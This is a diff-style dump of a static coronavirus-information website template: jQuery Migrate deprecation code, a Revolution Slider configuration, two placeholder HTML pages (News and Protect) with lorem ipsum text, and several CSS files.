var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
|
||||
if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
|
||||
if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
|
||||
(i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
|
||||
return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
|
||||
}, e.event.add = function(e, n) {
|
||||
return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
|
||||
b.apply(this, arguments);
|
||||
}, e.each([ "load", "unload", "error" ], function(t, n) {
|
||||
e.fn[n] = function() {
|
||||
var e = Array.prototype.slice.call(arguments, 0);
|
||||
return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
|
||||
e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
|
||||
this));
|
||||
};
|
||||
}), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
|
||||
e.fn[n] = function(e, t) {
|
||||
return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
|
||||
};
|
||||
}), e(function() {
|
||||
e(t.document).triggerHandler("ready");
|
||||
}), e.event.special.ready = {
|
||||
setup: function() {
|
||||
this === t.document && r("'ready' event is deprecated");
|
||||
}
|
||||
}, e.fn.extend({
|
||||
bind: function(e, t, n) {
|
||||
return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
|
||||
},
|
||||
unbind: function(e, t) {
|
||||
return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
|
||||
},
|
||||
delegate: function(e, t, n, a) {
|
||||
return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
|
||||
},
|
||||
undelegate: function(e, t, n) {
|
||||
return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
|
||||
},
|
||||
hover: function(e, t) {
|
||||
return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
|
||||
}
|
||||
});
|
||||
var x = e.fn.offset;
|
||||
e.fn.offset = function() {
|
||||
var n, a = this[0], o = {
|
||||
top: 0,
|
||||
left: 0
|
||||
};
|
||||
return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
|
||||
o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
|
||||
};
|
||||
var k = e.param;
|
||||
e.param = function(t, n) {
|
||||
var a = e.ajaxSettings && e.ajaxSettings.traditional;
|
||||
return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
|
||||
n = a), k.call(this, t, n);
|
||||
};
|
||||
var A = e.fn.andSelf || e.fn.addBack;
|
||||
e.fn.andSelf = function() {
|
||||
return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
|
||||
A.apply(this, arguments);
|
||||
};
|
||||
var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
|
||||
return e.Deferred = function(t) {
|
||||
var n = S(), a = n.promise();
|
||||
return n.pipe = a.pipe = function() {
|
||||
var t = arguments;
|
||||
return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
|
||||
e.each(q, function(o, i) {
|
||||
var s = e.isFunction(t[o]) && t[o];
|
||||
n[i[1]](function() {
|
||||
var t = s && s.apply(this, arguments);
|
||||
t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
|
||||
});
|
||||
}), t = null;
|
||||
}).promise();
|
||||
}, t && t.call(n, n), n;
|
||||
}, e.Deferred.exceptionHook = S.exceptionHook, e;
|
||||
});
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,105 @@
|
|||
/*---------------------------------------------------------------------
|
||||
File Name: slider-setting.js
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
"use strict";
|
||||
var tpj = jQuery;
|
||||
|
||||
var revapi486;
|
||||
tpj(document).ready(function () {
|
||||
if (tpj("#rev_slider_486_1").revolution == undefined) {
|
||||
revslider_showDoubleJqueryError("#rev_slider_486_1");
|
||||
} else {
|
||||
revapi486 = tpj("#rev_slider_486_1").show().revolution({
|
||||
sliderType: "standard",
|
||||
jsFileLocation: "revolution/js/",
|
||||
sliderLayout: "fullscreen",
|
||||
dottedOverlay: "none",
|
||||
delay: 5000,
|
||||
navigation: {
|
||||
keyboardNavigation: "on",
|
||||
keyboard_direction: "horizontal",
|
||||
mouseScrollNavigation: "off",
|
||||
mouseScrollReverse: "default",
|
||||
onHoverStop: "on",
|
||||
touch: {
|
||||
touchenabled: "on",
|
||||
swipe_threshold: 75,
|
||||
swipe_min_touches: 1,
|
||||
swipe_direction: "horizontal",
|
||||
drag_block_vertical: false
|
||||
},
|
||||
arrows: {
|
||||
style: "gyges",
|
||||
enable: true,
|
||||
hide_onmobile: false,
|
||||
hide_onleave: true,
|
||||
hide_delay: 200,
|
||||
hide_delay_mobile: 1200,
|
||||
tmp: '',
|
||||
left: {
|
||||
h_align: "left",
|
||||
v_align: "center",
|
||||
h_offset: 0,
|
||||
v_offset: 0
|
||||
},
|
||||
right: {
|
||||
h_align: "right",
|
||||
v_align: "center",
|
||||
h_offset: 0,
|
||||
v_offset: 0
|
||||
}
|
||||
},
|
||||
bullets: {
|
||||
enable: true,
|
||||
hide_onmobile: true,
|
||||
hide_under: 800,
|
||||
style: "hebe",
|
||||
hide_onleave: false,
|
||||
direction: "horizontal",
|
||||
h_align: "center",
|
||||
v_align: "bottom",
|
||||
h_offset: 0,
|
||||
v_offset: 30,
|
||||
space: 5,
|
||||
tmp: '<span class="tp-bullet-image"></span><span class="tp-bullet-imageoverlay"></span><span class="tp-bullet-title"></span>'
|
||||
}
|
||||
},
|
||||
viewPort: {
|
||||
enable: true,
|
||||
outof: "pause",
|
||||
visible_area: "70%",
|
||||
presize: false
|
||||
},
|
||||
responsiveLevels: [1240, 1024, 778, 480],
|
||||
visibilityLevels: [1240, 1024, 778, 480],
|
||||
gridwidth: [1240, 1024, 778, 480],
|
||||
gridheight: [500, 450, 400, 350],
|
||||
lazyType: "none",
|
||||
parallax: {
|
||||
type: "scroll",
|
||||
origo: "enterpoint",
|
||||
speed: 400,
|
||||
levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55],
|
||||
type: "scroll",
|
||||
},
|
||||
shadow: 0,
|
||||
spinner: "off",
|
||||
stopLoop: "off",
|
||||
stopAfterLoops: -1,
|
||||
stopAtSlide: -1,
|
||||
shuffle: "off",
|
||||
autoHeight: "off",
|
||||
hideThumbsOnMobile: "off",
|
||||
hideSliderAtLimit: 0,
|
||||
hideCaptionAtLimit: 0,
|
||||
hideAllCaptionAtLilmit: 0,
|
||||
debugMode: false,
|
||||
fallbacks: {
|
||||
simplifyAll: "off",
|
||||
nextSlideOnWindowFocus: "off",
|
||||
disableFocusListener: false,
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
|
@ -0,0 +1,232 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<script src="js/destruct.js"></script>
|
||||
<title>News</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
|
||||
</head>
|
||||
<body>
|
||||
<!--header section start -->
|
||||
<div class="header_section header_bg">
|
||||
<div class="container-fluid">
|
||||
<div class="main">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_text">
|
||||
<ul>
|
||||
<div class="togle_">
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li><a href="#">Login</a></li>
|
||||
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="myNav" class="overlay">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<div class="overlay-content">
|
||||
<a href="index.html">Home</a>
|
||||
<a href="protect.html">Protect</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="doctors.html">Doctors</a>
|
||||
<a href="news.html">News</a>
|
||||
</div>
|
||||
</div>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon.png" class="toggle_menu"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon1.png" class="toggle_menu_1"></span>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="container">
|
||||
<div class="about_taital_main">
|
||||
<h2 class="about_tag">News Corona Virus</h2>
|
||||
<div class="about_menu">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li>News</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- news section start -->
|
||||
<div class="news_section layout_padding">
|
||||
<div class="container">
|
||||
<div id="main_slider" class="carousel slide" data-ride="carousel">
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#main_slider" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left"></i>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#main_slider" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right"></i>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- news section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="footer_section_2">
|
||||
<div class="row">
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Resources</h2>
|
||||
<div class="footer_menu">
|
||||
<ul>
|
||||
<li><a href="#">What we do</a></li>
|
||||
<li><a href="#">Media</a></li>
|
||||
<li><a href="#">Travel Advice</a></li>
|
||||
<li><a href="#">Protection</a></li>
|
||||
<li><a href="#">Care</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">About</h2>
|
||||
<p class="footer_text">Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Contact Us</h2>
|
||||
<div class="location_text">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-map-marker" aria-hidden="true"></i>
|
||||
<span class="padding_15">Location</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-phone" aria-hidden="true"></i>
|
||||
<span class="padding_15">Call +01 1234567890</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-envelope" aria-hidden="true"></i>
|
||||
<span class="padding_15">demo@gmail.com</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">countrys</h2>
|
||||
<div class="map_image"><img src="images/map-bg.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<p class="copyright_text">© 2020 All Rights Reserved.<a href="https://html.design"> Free html Templates</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$(".fancybox").fancybox({
|
||||
openEffect: "none",
|
||||
closeEffect: "none"
|
||||
});
|
||||
|
||||
$(".zoom").hover(function(){
|
||||
|
||||
$(this).addClass('transition');
|
||||
}, function(){
|
||||
|
||||
$(this).removeClass('transition');
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function openNav() {
|
||||
document.getElementById("myNav").style.width = "100%";
|
||||
}
|
||||
function closeNav() {
|
||||
document.getElementById("myNav").style.width = "0%";
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,203 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<script src="js/destruct.js"></script>
|
||||
<title>Protect</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
|
||||
</head>
|
||||
<body>
|
||||
<!--header section start -->
|
||||
<div class="header_section header_bg">
|
||||
<div class="container-fluid">
|
||||
<div class="main">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_text">
|
||||
<ul>
|
||||
<div class="togle_">
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li><a href="#">Login</a></li>
|
||||
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="myNav" class="overlay">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<div class="overlay-content">
|
||||
<a href="index.html">Home</a>
|
||||
<a href="protect.html">Protect</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="doctors.html">Doctors</a>
|
||||
<a href="news.html">News</a>
|
||||
</div>
|
||||
</div>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon.png" class="toggle_menu"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon1.png" class="toggle_menu_1"></span>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="container">
|
||||
<div class="about_taital_main">
|
||||
<h2 class="about_tag">Protect Corona Virus</h2>
|
||||
<div class="about_menu">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li>Protect</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- protect section start -->
|
||||
<div class="protect_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<h1 class="protect_taital">How to Protect Yourself</h1>
|
||||
<p class="protect_text">English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="protect_section_2 layout_padding">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<h1 class="hands_text"><a href="#">Wash your <br>hands frequently</a></h1>
|
||||
<h1 class="hands_text_2"><a href="#">Maintain social <br>distancing</a></h1>
|
||||
<h1 class="hands_text"><a href="#">Avoid touching eyes,<br>nose and mouth</a></h1>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="image_2"><img src="images/img-2.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- protect section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding margin_top90">
|
||||
<div class="container">
|
||||
<div class="footer_section_2">
|
||||
<div class="row">
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Resources</h2>
|
||||
<div class="footer_menu">
|
||||
<ul>
|
||||
<li><a href="#">What we do</a></li>
|
||||
<li><a href="#">Media</a></li>
|
||||
<li><a href="#">Travel Advice</a></li>
|
||||
<li><a href="#">Protection</a></li>
|
||||
<li><a href="#">Care</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">About</h2>
|
||||
<p class="footer_text">Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Contact Us</h2>
|
||||
<div class="location_text">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-map-marker" aria-hidden="true"></i>
|
||||
<span class="padding_15">Location</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-phone" aria-hidden="true"></i>
|
||||
<span class="padding_15">Call +01 1234567890</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-envelope" aria-hidden="true"></i>
|
||||
<span class="padding_15">demo@gmail.com</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">countrys</h2>
|
||||
<div class="map_image"><img src="images/map-bg.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<p class="copyright_text">© 2020 All Rights Reserved.<a href="https://html.design"> Free html Templates</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$(".fancybox").fancybox({
|
||||
openEffect: "none",
|
||||
closeEffect: "none"
|
||||
});
|
||||
|
||||
$(".zoom").hover(function(){
|
||||
|
||||
$(this).addClass('transition');
|
||||
}, function(){
|
||||
|
||||
$(this).removeClass('transition');
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function openNav() {
|
||||
document.getElementById("myNav").style.width = "100%";
|
||||
}
|
||||
function closeNav() {
|
||||
document.getElementById("myNav").style.width = "0%";
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,30 @@
|
|||
@charset "utf-8";
|
||||
body {
|
||||
overflow: hidden;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
/* Preloader */
|
||||
#preloader {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
background-color: #363942; /* preloader background color */
|
||||
z-index: 99; /* makes sure it stays on top */
|
||||
}
|
||||
|
||||
#status {
|
||||
color: #fff;
|
||||
font-size: 6em;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width: 200px;
|
||||
height: 200px;
|
||||
left: 50%; /* centers the loading animation horizontally one the screen */
|
||||
top: 55%; /* centers the loading animation vertically one the screen */
|
||||
background-repeat: no-repeat;
|
||||
background-position: center;
|
||||
margin: -100px 0 0 -100px; /* is width and height divided by two */
|
||||
}
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
/* Medium Devices, Desktops */
|
||||
@media only screen and (max-width : 1024px) {
|
||||
/*HREO AREA */
|
||||
#hero{max-height: 660px;}
|
||||
|
||||
/* FEATURED CLIENTS SECTION*/
|
||||
#clients img{height: 50px;}
|
||||
}
|
||||
|
||||
/* Small Devices, Tablets */
|
||||
@media only screen and (max-width : 980px) {
|
||||
|
||||
/*HREO AREA */
|
||||
#hero{height: 540px;}
|
||||
|
||||
/*ABOUT SECTION*/
|
||||
#about{padding-top: 40px;}
|
||||
|
||||
/* FEATURED CLIENTS SECTION*/
|
||||
#clients {text-align: center;}
|
||||
#clients img{height: 40px;}
|
||||
#clients ul{float: none;}
|
||||
#clients h4 {display: none;}
|
||||
|
||||
/* PORTFOLIO SECTION */
|
||||
#shotsByPlayerId li{width: 47%;}
|
||||
#shotsByPlayerId li:first-child{width: 97%;}
|
||||
|
||||
.myphoto{text-align: center;}
|
||||
|
||||
/*COLLUPSABLE NAVIGATION MENU*/
|
||||
.navbar-header {float: none;}
|
||||
.navbar-left,.navbar-right {float: none !important;}
|
||||
.navbar-toggle {display: block;}
|
||||
.navbar-collapse.collapse {display: none!important;}
|
||||
.navbar-nav>li {
|
||||
float: none;
|
||||
padding-left: 30px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.collapse.in{display:block !important;}
|
||||
}
|
||||
|
||||
|
||||
/* Mobile Devices */
|
||||
@media only screen and (max-width : 640px) {
|
||||
|
||||
h2 {font-size: 1.9em;}
|
||||
h3{font-size: 1.5em}
|
||||
h4{font-size: 1.1em;}
|
||||
|
||||
|
||||
.myphoto{display: none;}
|
||||
|
||||
|
||||
/*Hero area*/
|
||||
#hero{height: 400px;}
|
||||
.herocontent{padding-top: 30px;}
|
||||
|
||||
/*About section*/
|
||||
#about{text-align: center;}
|
||||
|
||||
/*Portfolio*/
|
||||
#shotsByPlayerId li {width: 96%;}
|
||||
|
||||
/*Footer*/
|
||||
.footerlinks li{display: none;}
|
||||
}
|
||||
|
||||
/* Smaller Mobile Devices */
|
||||
@media only screen and (max-width : 480px) {
|
||||
#hero{height: 320px;}
|
||||
#clients {display: none;}
|
||||
.footersocial li{font-size: 1.5em}
|
||||
}
|
||||
|
||||
/* Smallest Mobile Devices */
|
||||
@media only screen and (max-width : 320px) {
|
||||
#hero{height: 480px;}
|
||||
.herocontent{padding-top: 100px; padding-bottom: 30px;}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,526 @@
|
|||
@font-face {
|
||||
font-family: 'Simple-Line-Icons';
|
||||
src:url('../fonts/Simple-Line-Icons.eot');
|
||||
src:url('../fonts/Simple-Line-Icons.eot?#iefix') format('embedded-opentype'),
|
||||
url('../fonts/Simple-Line-Icons.woff') format('woff'),
|
||||
url('../fonts/Simple-Line-Icons.ttf') format('truetype'),
|
||||
url('../fonts/Simple-Line-Icons.svg#Simple-Line-Icons') format('svg');
|
||||
font-weight: normal;
|
||||
font-style: normal;
|
||||
}
|
||||
|
||||
/* Use the following CSS code if you want to use data attributes for inserting your icons */
|
||||
[data-icon]:before {
|
||||
font-family: 'Simple-Line-Icons';
|
||||
content: attr(data-icon);
|
||||
speak: none;
|
||||
font-weight: normal;
|
||||
font-variant: normal;
|
||||
text-transform: none;
|
||||
line-height: 1;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
}
|
||||
|
||||
/* Use the following CSS code if you want to have a class per icon */
|
||||
/*
|
||||
Instead of a list of all class selectors,
|
||||
you can use the generic selector below, but it's slower:
|
||||
[class*="icon-"] {
|
||||
*/
|
||||
